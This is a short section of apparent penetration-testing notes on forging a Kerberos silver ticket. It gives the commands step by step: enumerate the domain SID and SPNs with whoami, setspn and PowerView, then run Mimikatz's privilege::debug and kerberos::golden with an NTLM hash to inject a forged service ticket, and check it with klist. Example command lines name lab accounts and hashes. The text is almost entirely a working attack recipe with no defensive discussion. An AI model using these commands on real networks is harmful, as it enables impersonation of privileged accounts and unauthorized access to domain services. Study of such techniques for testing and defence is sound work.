5. Silver Tickets



Forging a silver ticket with Mimikatz:

  1. Get NTLM hash in some way.
  2. Enumerate domain SID:
whoami /user
  1. Get SPN:
#Using setspn.exe:
setspn -L <user>

#Using PowerView:
Get-NetUser -SPN | select samaccountname,serviceprincipalname
  1. Craft ticket:
#Run mimikatz:
.\mimikatz.exe

#Engage debug mode:
privilege::debug

#Craft ticket:
kerberos::golden /sid:<sid> /domain:<domain> /ptt /target:<hostname> /service:<service> /rc4:<ntlm> /user:<targetuser>

#Example:
kerberos::golden /sid:S-1-5-21-1987370270-658905905-1781884369 /domain:corp.com /ptt /target:web04.corp.com /service:http /rc4:4d28cf5252d39971419580a51484ca09 /user:jeffadmin
  1. Confirm ticket is loaded in to memory in Powershell:
klist

kerberos::golden /sid:S-1-5-21-1987370270-658905905-1781884369 /domain:corp.com /ptt /target:web04.corp.com /service:http /rc4:08d7a47a6f9f66b97b1bae4178747494 /user:iis_service